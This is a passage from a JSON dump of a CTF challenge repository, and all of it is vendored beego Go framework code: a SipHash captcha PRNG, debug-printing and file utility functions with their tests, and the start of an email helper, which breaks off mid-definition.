0x6c7967656e657261\n\tv3 := k1 ^ 0x7465646279746573\n\tt := uint64(8) << 56\n\n\t// Compression.\n\tv3 ^= m\n\n\t// Round 1.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\t// Round 2.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\tv0 ^= m\n\n\t// Compress last block.\n\tv3 ^= t\n\n\t// Round 1.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\t// Round 2.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\tv0 ^= t\n\n\t// Finalization.\n\tv2 ^= 0xff\n\n\t// Round 1.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\t// Round 2.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\t// Round 3.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\t// Round 4.\n\tv0 += v1\n\tv1 = v1<<13 | v1>>(64-13)\n\tv1 ^= v0\n\tv0 = v0<<32 | v0>>(64-32)\n\n\tv2 += v3\n\tv3 = v3<<16 | v3>>(64-16)\n\tv3 ^= v2\n\n\tv0 += v3\n\tv3 = v3<<21 | v3>>(64-21)\n\tv3 ^= v0\n\n\tv2 += v1\n\tv1 = v1<<17 | v1>>(64-17)\n\tv1 ^= v2\n\tv2 = v2<<32 | v2>>(64-32)\n\n\treturn v0 ^ v1 ^ v2 ^ v3\n}\n\n// rekey sets a new PRNG key, which is read from crypto/rand.\nfunc (p *siprng) rekey() {\n\tvar k [16]byte\n\tif _, err := io.ReadFull(rand.Reader, k[:]); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tp.k0 = binary.LittleEndian.Uint64(k[0:8])\n\tp.k1 = binary.LittleEndian.Uint64(k[8:16])\n\tp.ctr = 1\n}\n\n// Uint64 returns a new pseudorandom uint64.\n// It rekeys PRNG on the first call and every 64 MB of generated data.\nfunc (p *siprng) Uint64() uint64 {\n\tp.mu.Lock()\n\tif p.ctr == 0 || p.ctr > 8*1024*1024 {\n\t\tp.rekey()\n\t}\n\tv := siphash(p.k0, p.k1, p.ctr)\n\tp.ctr++\n\tp.mu.Unlock()\n\treturn v\n}\n\nfunc (p *siprng) Int63() int64 {\n\treturn int64(p.Uint64() & 0x7fffffffffffffff)\n}\n\nfunc (p *siprng) Uint32() uint32 {\n\treturn uint32(p.Uint64())\n}\n\nfunc (p *siprng) Int31() int32 {\n\treturn int32(p.Uint32() & 0x7fffffff)\n}\n\nfunc (p *siprng) Intn(n int) int {\n\tif n <= 0 {\n\t\tpanic(\"invalid argument to Intn\")\n\t}\n\tif n <= 1<<31-1 {\n\t\treturn int(p.Int31n(int32(n)))\n\t}\n\treturn int(p.Int63n(int64(n)))\n}\n\nfunc (p *siprng) Int63n(n int64) int64 {\n\tif n <= 0 {\n\t\tpanic(\"invalid argument to Int63n\")\n\t}\n\tmax := int64((1 << 63) - 1 - (1<<63)%uint64(n))\n\tv := p.Int63()\n\tfor v > max {\n\t\tv = p.Int63()\n\t}\n\treturn v % n\n}\n\nfunc (p *siprng) Int31n(n int32) int32 {\n\tif n <= 0 {\n\t\tpanic(\"invalid argument to Int31n\")\n\t}\n\tmax := int32((1 << 31) - 1 - (1<<31)%uint32(n))\n\tv := p.Int31()\n\tfor v > max {\n\t\tv = p.Int31()\n\t}\n\treturn v % n\n}\n\nfunc (p *siprng) Float64() float64 { return float64(p.Int63()) / (1 << 63) }\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/siprng_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage captcha\n\nimport \"testing\"\n\nfunc TestSiphash(t *testing.T) {\n\tgood := uint64(0xe849e8bb6ffe2567)\n\tcur := siphash(0, 0, 0)\n\tif cur != good {\n\t\tt.Fatalf(\"siphash: expected %x, got %x\", good, cur)\n\t}\n}\n\nfunc BenchmarkSiprng(b *testing.B) {\n\tb.SetBytes(8)\n\tp := &siprng{}\n\tfor i := 0; i < b.N; i++ {\n\t\tp.Uint64()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/debug.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log\"\n\t\"reflect\"\n\t\"runtime\"\n)\n\nvar (\n\tdunno     = []byte(\"???\")\n\tcenterDot = []byte(\"·\")\n\tdot       = []byte(\".\")\n)\n\ntype pointerInfo struct {\n\tprev *pointerInfo\n\tn    int\n\taddr uintptr\n\tpos  int\n\tused []int\n}\n\n// Display print the data in console\nfunc Display(data ...interface{}) {\n\tdisplay(true, data...)\n}\n\n// GetDisplayString return data print string\nfunc GetDisplayString(data ...interface{}) string {\n\treturn display(false, data...)\n}\n\nfunc display(displayed bool, data ...interface{}) string {\n\tvar pc, file, line, ok = runtime.Caller(2)\n\n\tif !ok {\n\t\treturn \"\"\n\t}\n\n\tvar buf = new(bytes.Buffer)\n\n\tfmt.Fprintf(buf, \"[Debug] at %s() [%s:%d]\\n\", function(pc), file, line)\n\n\tfmt.Fprintf(buf, \"\\n[Variables]\\n\")\n\n\tfor i := 0; i < len(data); i += 2 {\n\t\tvar output = fomateinfo(len(data[i].(string))+3, data[i+1])\n\t\tfmt.Fprintf(buf, \"%s = %s\", data[i], output)\n\t}\n\n\tif displayed {\n\t\tlog.Print(buf)\n\t}\n\treturn buf.String()\n}\n\n// return data dump and format bytes\nfunc fomateinfo(headlen int, data ...interface{}) []byte {\n\tvar buf = new(bytes.Buffer)\n\n\tif len(data) > 1 {\n\t\tfmt.Fprint(buf, \"    \")\n\n\t\tfmt.Fprint(buf, \"[\")\n\n\t\tfmt.Fprintln(buf)\n\t}\n\n\tfor k, v := range data {\n\t\tvar buf2 = new(bytes.Buffer)\n\t\tvar pointers *pointerInfo\n\t\tvar interfaces = make([]reflect.Value, 0, 10)\n\n\t\tprintKeyValue(buf2, reflect.ValueOf(v), &pointers, &interfaces, nil, true, \"    \", 1)\n\n\t\tif k < len(data)-1 {\n\t\t\tfmt.Fprint(buf2, \", \")\n\t\t}\n\n\t\tfmt.Fprintln(buf2)\n\n\t\tbuf.Write(buf2.Bytes())\n\t}\n\n\tif len(data) > 1 {\n\t\tfmt.Fprintln(buf)\n\n\t\tfmt.Fprint(buf, \"    \")\n\n\t\tfmt.Fprint(buf, \"]\")\n\t}\n\n\treturn buf.Bytes()\n}\n\n// check data is golang basic type\nfunc isSimpleType(val reflect.Value, kind reflect.Kind, pointers **pointerInfo, interfaces *[]reflect.Value) bool {\n\tswitch kind {\n\tcase reflect.Bool:\n\t\treturn true\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\treturn true\n\tcase reflect.Uint8, reflect.Uint16, reflect.Uint, reflect.Uint32, reflect.Uint64:\n\t\treturn true\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn true\n\tcase reflect.Complex64, reflect.Complex128:\n\t\treturn true\n\tcase reflect.String:\n\t\treturn true\n\tcase reflect.Chan:\n\t\treturn true\n\tcase reflect.Invalid:\n\t\treturn true\n\tcase reflect.Interface:\n\t\tfor _, in := range *interfaces {\n\t\t\tif reflect.DeepEqual(in, val) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\treturn false\n\tcase reflect.UnsafePointer:\n\t\tif val.IsNil() {\n\t\t\treturn true\n\t\t}\n\n\t\tvar elem = val.Elem()\n\n\t\tif isSimpleType(elem, elem.Kind(), pointers, interfaces) {\n\t\t\treturn true\n\t\t}\n\n\t\tvar addr = val.Elem().UnsafeAddr()\n\n\t\tfor p := *pointers; p != nil; p = p.prev {\n\t\t\tif addr == p.addr {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t\treturn false\n\t}\n\n\treturn false\n}\n\n// dump value\nfunc printKeyValue(buf *bytes.Buffer, val reflect.Value, pointers **pointerInfo, interfaces *[]reflect.Value, structFilter func(string, string) bool, formatOutput bool, indent string, level int) {\n\tvar t = val.Kind()\n\n\tswitch t {\n\tcase reflect.Bool:\n\t\tfmt.Fprint(buf, val.Bool())\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\tfmt.Fprint(buf, val.Int())\n\tcase reflect.Uint8, reflect.Uint16, reflect.Uint, reflect.Uint32, reflect.Uint64:\n\t\tfmt.Fprint(buf, val.Uint())\n\tcase reflect.Float32, reflect.Float64:\n\t\tfmt.Fprint(buf, val.Float())\n\tcase reflect.Complex64, reflect.Complex128:\n\t\tfmt.Fprint(buf, val.Complex())\n\tcase reflect.UnsafePointer:\n\t\tfmt.Fprintf(buf, \"unsafe.Pointer(0x%X)\", val.Pointer())\n\tcase reflect.Ptr:\n\t\tif val.IsNil() {\n\t\t\tfmt.Fprint(buf, \"nil\")\n\t\t\treturn\n\t\t}\n\n\t\tvar addr = val.Elem().UnsafeAddr()\n\n\t\tfor p := *pointers; p != nil; p = p.prev {\n\t\t\tif addr == p.addr {\n\t\t\t\tp.used = append(p.used, buf.Len())\n\t\t\t\tfmt.Fprintf(buf, \"0x%X\", addr)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t*pointers = &pointerInfo{\n\t\t\tprev: *pointers,\n\t\t\taddr: addr,\n\t\t\tpos:  buf.Len(),\n\t\t\tused: make([]int, 0),\n\t\t}\n\n\t\tfmt.Fprint(buf, \"&\")\n\n\t\tprintKeyValue(buf, val.Elem(), pointers, interfaces, structFilter, formatOutput, indent, level)\n\tcase reflect.String:\n\t\tfmt.Fprint(buf, \"\\\"\", val.String(), \"\\\"\")\n\tcase reflect.Interface:\n\t\tvar value = val.Elem()\n\n\t\tif !value.IsValid() {\n\t\t\tfmt.Fprint(buf, \"nil\")\n\t\t} else {\n\t\t\tfor _, in := range *interfaces {\n\t\t\t\tif reflect.DeepEqual(in, val) {\n\t\t\t\t\tfmt.Fprint(buf, \"repeat\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t*interfaces = append(*interfaces, val)\n\n\t\t\tprintKeyValue(buf, value, pointers, interfaces, structFilter, formatOutput, indent, level+1)\n\t\t}\n\tcase reflect.Struct:\n\t\tvar t = val.Type()\n\n\t\tfmt.Fprint(buf, t)\n\t\tfmt.Fprint(buf, \"{\")\n\n\t\tfor i := 0; i < val.NumField(); i++ {\n\t\t\tif formatOutput {\n\t\t\t\tfmt.Fprintln(buf)\n\t\t\t} else {\n\t\t\t\tfmt.Fprint(buf, \" \")\n\t\t\t}\n\n\t\t\tvar name = t.Field(i).Name\n\n\t\t\tif formatOutput {\n\t\t\t\tfor ind := 0; ind < level; ind++ {\n\t\t\t\t\tfmt.Fprint(buf, indent)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfmt.Fprint(buf, name)\n\t\t\tfmt.Fprint(buf, \": \")\n\n\t\t\tif structFilter != nil && structFilter(t.String(), name) {\n\t\t\t\tfmt.Fprint(buf, \"ignore\")\n\t\t\t} else {\n\t\t\t\tprintKeyValue(buf, val.Field(i), pointers, interfaces, structFilter, formatOutput, indent, level+1)\n\t\t\t}\n\n\t\t\tfmt.Fprint(buf, \",\")\n\t\t}\n\n\t\tif formatOutput {\n\t\t\tfmt.Fprintln(buf)\n\n\t\t\tfor ind := 0; ind < level-1; ind++ {\n\t\t\t\tfmt.Fprint(buf, indent)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Fprint(buf, \" \")\n\t\t}\n\n\t\tfmt.Fprint(buf, \"}\")\n\tcase reflect.Array, reflect.Slice:\n\t\tfmt.Fprint(buf, val.Type())\n\t\tfmt.Fprint(buf, \"{\")\n\n\t\tvar allSimple = true\n\n\t\tfor i := 0; i < val.Len(); i++ {\n\t\t\tvar elem = val.Index(i)\n\n\t\t\tvar isSimple = isSimpleType(elem, elem.Kind(), pointers, interfaces)\n\n\t\t\tif !isSimple {\n\t\t\t\tallSimple = false\n\t\t\t}\n\n\t\t\tif formatOutput && !isSimple {\n\t\t\t\tfmt.Fprintln(buf)\n\t\t\t} else {\n\t\t\t\tfmt.Fprint(buf, \" \")\n\t\t\t}\n\n\t\t\tif formatOutput && !isSimple {\n\t\t\t\tfor ind := 0; ind < level; ind++ {\n\t\t\t\t\tfmt.Fprint(buf, indent)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tprintKeyValue(buf, elem, pointers, interfaces, structFilter, formatOutput, indent, level+1)\n\n\t\t\tif i != val.Len()-1 || !allSimple {\n\t\t\t\tfmt.Fprint(buf, \",\")\n\t\t\t}\n\t\t}\n\n\t\tif formatOutput && !allSimple {\n\t\t\tfmt.Fprintln(buf)\n\n\t\t\tfor ind := 0; ind < level-1; ind++ {\n\t\t\t\tfmt.Fprint(buf, indent)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Fprint(buf, \" \")\n\t\t}\n\n\t\tfmt.Fprint(buf, \"}\")\n\tcase reflect.Map:\n\t\tvar t = val.Type()\n\t\tvar keys = val.MapKeys()\n\n\t\tfmt.Fprint(buf, t)\n\t\tfmt.Fprint(buf, \"{\")\n\n\t\tvar allSimple = true\n\n\t\tfor i := 0; i < len(keys); i++ {\n\t\t\tvar elem = val.MapIndex(keys[i])\n\n\t\t\tvar isSimple = isSimpleType(elem, elem.Kind(), pointers, interfaces)\n\n\t\t\tif !isSimple {\n\t\t\t\tallSimple = false\n\t\t\t}\n\n\t\t\tif formatOutput && !isSimple {\n\t\t\t\tfmt.Fprintln(buf)\n\t\t\t} else {\n\t\t\t\tfmt.Fprint(buf, \" \")\n\t\t\t}\n\n\t\t\tif formatOutput && !isSimple {\n\t\t\t\tfor ind := 0; ind <= level; ind++ {\n\t\t\t\t\tfmt.Fprint(buf, indent)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tprintKeyValue(buf, keys[i], pointers, interfaces, structFilter, formatOutput, indent, level+1)\n\t\t\tfmt.Fprint(buf, \": \")\n\t\t\tprintKeyValue(buf, elem, pointers, interfaces, structFilter, formatOutput, indent, level+1)\n\n\t\t\tif i != val.Len()-1 || !allSimple {\n\t\t\t\tfmt.Fprint(buf, \",\")\n\t\t\t}\n\t\t}\n\n\t\tif formatOutput && !allSimple {\n\t\t\tfmt.Fprintln(buf)\n\n\t\t\tfor ind := 0; ind < level-1; ind++ {\n\t\t\t\tfmt.Fprint(buf, indent)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Fprint(buf, \" \")\n\t\t}\n\n\t\tfmt.Fprint(buf, \"}\")\n\tcase reflect.Chan:\n\t\tfmt.Fprint(buf, val.Type())\n\tcase reflect.Invalid:\n\t\tfmt.Fprint(buf, \"invalid\")\n\tdefault:\n\t\tfmt.Fprint(buf, \"unknow\")\n\t}\n}\n\n// PrintPointerInfo dump pointer value\nfunc PrintPointerInfo(buf *bytes.Buffer, headlen int, pointers *pointerInfo) {\n\tvar anyused = false\n\tvar pointerNum = 0\n\n\tfor p := pointers; p != nil; p = p.prev {\n\t\tif len(p.used) > 0 {\n\t\t\tanyused = true\n\t\t}\n\t\tpointerNum++\n\t\tp.n = pointerNum\n\t}\n\n\tif anyused {\n\t\tvar pointerBufs = make([][]rune, pointerNum+1)\n\n\t\tfor i := 0; i < len(pointerBufs); i++ {\n\t\t\tvar pointerBuf = make([]rune, buf.Len()+headlen)\n\n\t\t\tfor j := 0; j < len(pointerBuf); j++ {\n\t\t\t\tpointerBuf[j] = ' '\n\t\t\t}\n\n\t\t\tpointerBufs[i] = pointerBuf\n\t\t}\n\n\t\tfor pn := 0; pn <= pointerNum; pn++ {\n\t\t\tfor p := pointers; p != nil; p = p.prev {\n\t\t\t\tif len(p.used) > 0 && p.n >= pn {\n\t\t\t\t\tif pn == p.n {\n\t\t\t\t\t\tpointerBufs[pn][p.pos+headlen] = '└'\n\n\t\t\t\t\t\tvar maxpos = 0\n\n\t\t\t\t\t\tfor i, pos := range p.used {\n\t\t\t\t\t\t\tif i < len(p.used)-1 {\n\t\t\t\t\t\t\t\tpointerBufs[pn][pos+headlen] = '┴'\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tpointerBufs[pn][pos+headlen] = '┘'\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tmaxpos = pos\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor i := 0; i < maxpos-p.pos-1; i++ {\n\t\t\t\t\t\t\tif pointerBufs[pn][i+p.pos+headlen+1] == ' ' {\n\t\t\t\t\t\t\t\tpointerBufs[pn][i+p.pos+headlen+1] = '─'\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpointerBufs[pn][p.pos+headlen] = '│'\n\n\t\t\t\t\t\tfor _, pos := range p.used {\n\t\t\t\t\t\t\tif pointerBufs[pn][pos+headlen] == ' ' {\n\t\t\t\t\t\t\t\tpointerBufs[pn][pos+headlen] = '│'\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tpointerBufs[pn][pos+headlen] = '┼'\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbuf.WriteString(string(pointerBufs[pn]) + \"\\n\")\n\t\t}\n\t}\n}\n\n// Stack get stack bytes\nfunc Stack(skip int, indent string) []byte {\n\tvar buf = new(bytes.Buffer)\n\n\tfor i := skip; ; i++ {\n\t\tvar pc, file, line, ok = runtime.Caller(i)\n\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\n\t\tbuf.WriteString(indent)\n\n\t\tfmt.Fprintf(buf, \"at %s() [%s:%d]\\n\", function(pc), file, line)\n\t}\n\n\treturn buf.Bytes()\n}\n\n// return the name of the function containing the PC if possible,\nfunc function(pc uintptr) []byte {\n\tfn := runtime.FuncForPC(pc)\n\tif fn == nil {\n\t\treturn dunno\n\t}\n\tname := []byte(fn.Name())\n\t// The name includes the path name to the package, which is unnecessary\n\t// since the file name is already included.  Plus, it has center dots.\n\t// That is, we see\n\t//\truntime/debug.*T·ptrmethod\n\t// and want\n\t//\t*T.ptrmethod\n\tif period := bytes.Index(name, dot); period >= 0 {\n\t\tname = name[period+1:]\n\t}\n\tname = bytes.Replace(name, centerDot, dot, -1)\n\treturn name\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/debug_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"testing\"\n)\n\ntype mytype struct {\n\tnext *mytype\n\tprev *mytype\n}\n\nfunc TestPrint(t *testing.T) {\n\tDisplay(\"v1\", 1, \"v2\", 2, \"v3\", 3)\n}\n\nfunc TestPrintPoint(t *testing.T) {\n\tvar v1 = new(mytype)\n\tvar v2 = new(mytype)\n\n\tv1.prev = nil\n\tv1.next = v2\n\n\tv2.prev = v1\n\tv2.next = nil\n\n\tDisplay(\"v1\", v1, \"v2\", v2)\n}\n\nfunc TestPrintString(t *testing.T) {\n\tstr := GetDisplayString(\"v1\", 1, \"v2\", 2)\n\tprintln(str)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/file.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n)\n\n// SelfPath gets compiled executable file absolute path\nfunc SelfPath() string {\n\tpath, _ := filepath.Abs(os.Args[0])\n\treturn path\n}\n\n// SelfDir gets compiled executable file directory\nfunc SelfDir() string {\n\treturn filepath.Dir(SelfPath())\n}\n\n// FileExists reports whether the named file or directory exists.\nfunc FileExists(name string) bool {\n\tif _, err := os.Stat(name); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\n// SearchFile Search a file in paths.\n// this is often used in search config file in /etc ~/\nfunc SearchFile(filename string, paths ...string) (fullpath string, err error) {\n\tfor _, path := range paths {\n\t\tif fullpath = filepath.Join(path, filename); FileExists(fullpath) {\n\t\t\treturn\n\t\t}\n\t}\n\terr = errors.New(fullpath + \" not found in paths\")\n\treturn\n}\n\n// GrepFile like command grep -E\n// for example: GrepFile(`^hello`, \"hello.txt\")\n// \\n is striped while read\nfunc GrepFile(patten string, filename string) (lines []string, err error) {\n\tre, err := regexp.Compile(patten)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfd, err := os.Open(filename)\n\tif err != nil {\n\t\treturn\n\t}\n\tlines = make([]string, 0)\n\treader := bufio.NewReader(fd)\n\tprefix := \"\"\n\tvar isLongLine bool\n\tfor {\n\t\tbyteLine, isPrefix, er := reader.ReadLine()\n\t\tif er != nil && er != io.EOF {\n\t\t\treturn nil, er\n\t\t}\n\t\tif er == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tline := string(byteLine)\n\t\tif isPrefix {\n\t\t\tprefix += line\n\t\t\tcontinue\n\t\t} else {\n\t\t\tisLongLine = true\n\t\t}\n\n\t\tline = prefix + line\n\t\tif isLongLine {\n\t\t\tprefix = \"\"\n\t\t}\n\t\tif re.MatchString(line) {\n\t\t\tlines = append(lines, line)\n\t\t}\n\t}\n\treturn lines, nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/file_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nvar noExistedFile = \"/tmp/not_existed_file\"\n\nfunc TestSelfPath(t *testing.T) {\n\tpath := SelfPath()\n\tif path == \"\" {\n\t\tt.Error(\"path cannot be empty\")\n\t}\n\tt.Logf(\"SelfPath: %s\", path)\n}\n\nfunc TestSelfDir(t *testing.T) {\n\tdir := SelfDir()\n\tt.Logf(\"SelfDir: %s\", dir)\n}\n\nfunc TestFileExists(t *testing.T) {\n\tif !FileExists(\"./file.go\") {\n\t\tt.Errorf(\"./file.go should exists, but it didn't\")\n\t}\n\n\tif FileExists(noExistedFile) {\n\t\tt.Errorf(\"Weird, how could this file exists: %s\", noExistedFile)\n\t}\n}\n\nfunc TestSearchFile(t *testing.T) {\n\tpath, err := SearchFile(filepath.Base(SelfPath()), SelfDir())\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tt.Log(path)\n\n\t_, err = SearchFile(noExistedFile, \".\")\n\tif err == nil {\n\t\tt.Errorf(\"err shouldnt be nil, got path: %s\", SelfDir())\n\t}\n}\n\nfunc TestGrepFile(t *testing.T) {\n\t_, err := GrepFile(\"\", noExistedFile)\n\tif err == nil {\n\t\tt.Error(\"expect file-not-existed error, but got nothing\")\n\t}\n\n\tpath := filepath.Join(\".\", \"testdata\", \"grepe.test\")\n\tlines, err := GrepFile(`^\\s*[^#]+`, path)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif !reflect.DeepEqual(lines, []string{\"hello\", \"world\"}) {\n\t\tt.Errorf(\"expect [hello world], but receive %v\", lines)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/mail.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime\"\n\t\"mime/multipart\"\n\t\"net/mail\"\n\t\"net/smtp\"\n\t\"net/textproto\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n)\n\nconst (\n\tmaxLineLength = 76\n\n\tupperhex = \"0123456789ABCDEF\"\n)\n\n// Email is the type used for email messages\ntype Email struct {\n\tAuth        smtp.Auth\n\tIdentity    string `json:\"identity\"`\n\tUsername    string `json:\"username\"`\n\tPassword    string `json:\"password\"`\n\tHost        string `json:\"host\"`\n\tPort        int    `json:\"port\"`\n\tFrom        string `json:\"from\"`\n\tTo          []string\n\tBcc         []string\n\tCc          []string\n\tSubject     string\n\tText        string // Plaintext message 